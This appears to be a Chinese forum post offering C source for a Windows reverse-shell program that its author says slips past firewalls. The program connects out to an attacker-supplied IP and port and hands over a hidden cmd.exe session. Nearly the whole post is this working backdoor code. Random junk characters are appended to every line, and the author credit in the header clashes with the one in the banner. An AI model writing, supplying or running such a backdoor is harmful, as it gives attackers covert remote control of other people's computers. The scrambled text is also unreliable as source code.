这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u\g,.C0
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/* ============================== h$fe -G#
Rebound port in Windows NT |_zO_F rtp
By wind,2006/7 bd \=h1
===============================*/ PC/!9s0W
#include ~UPZ<
#include g.C5r]=+&
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#pragma comment(lib,"wsock32.lib") +nU.p/cK+\
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void OutputShell(); w*~Tm >U
SOCKET sClient; [m2+9MMl
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o4Q3<T7nI
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void main(int argc,char **argv) 9l
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{ C}"@RHEu
WSADATA stWsaData; ?<~WO?
int nRet; MCnN^
SOCKADDR_IN stSaiClient,stSaiServer; p^X^1X7
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if(argc != 3) z<n-Gzwk
{ tXq)nfGe{
printf("Useage:\n\rRebound DestIP DestPort\n"); FPv"N'/
return; l(:kfR~AC
} )=_ycf^MC
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6|=j+rScv
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "H+,E_&(
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stSaiClient.sin_family = AF_INET; _\zQ"y|G
stSaiClient.sin_port = htons(0); PT_KXk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ZGz|m0b (
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oU+F3b}5p
{ eegx'VSX4
printf("Bind Socket Failed!\n"); jk70u[\
return; S/gm.?$V
} E*CcV;
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stSaiServer.sin_family = AF_INET; ^T079=$5
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4gZ&^y'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); OW5t[~y]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _vl}*/=Hc
{ 4JMiyiW&
printf("Connect Error!"); X0uJNHO
return; yyP-=Lhmo=
} .SS<MDcqIt
OutputShell(); r>|-2}{N/
} @;)PSp*j
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void OutputShell() vg\/DbI'
{ `_qK&&s
char szBuff[1024]; Z4q~@|+%
SECURITY_ATTRIBUTES stSecurityAttributes; UA-7nb
OSVERSIONINFO stOsversionInfo; }Dfwm)]Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <hvRP!~<)
STARTUPINFO stStartupInfo; 1>pe&n/
char *szShell; !Q%P%P<$
PROCESS_INFORMATION stProcessInformation; $G!R,eQ
unsigned long lBytesRead; 2QUx&u:
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Vxdp|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ?<%=:
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stSecurityAttributes.lpSecurityDescriptor = 0; :tj-gDa\Y
stSecurityAttributes.bInheritHandle = TRUE; SbT5u3,'
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); T*>`,}J
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6mPm=I[oh
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); X.#oEmA,P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;L"!I3dM)
stStartupInfo.wShowWindow = SW_HIDE; |:[9O`U)s
stStartupInfo.hStdInput = hReadPipe; &m'kI
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; zG9|K
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GetVersionEx(&stOsversionInfo); Sc$UZ/qPT
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switch(stOsversionInfo.dwPlatformId) ]z ==
{ 1wn&js C
case 1: d7Ro}>lp
szShell = "command.com"; Xu} U{x>
break; GjT#%GBF
default: FN87^.^2S
szShell = "cmd.exe"; MDO$m g
break; ^vni&sJ
} wEEn?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pGGmA;TC1
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send(sClient,szMsg,77,0); jAhP>
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while(1) B6M+mx"G
{ SoQR#(73HK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \k@$~}xD,
if(lBytesRead) *75YGD
{ yfj(Q s
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5<+K?uhm
send(sClient,szBuff,lBytesRead,0); -j`LhS~|
} )u} Q:`9
else {=Q7m`1
{ _GA$6#]
lBytesRead=recv(sClient,szBuff,1024,0); 7{M>!}
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if(lBytesRead<=0) break; `E`HVZ}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D4Nu8Wr$
} e x?v
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} hv)8K'u
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return; + ,4"
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}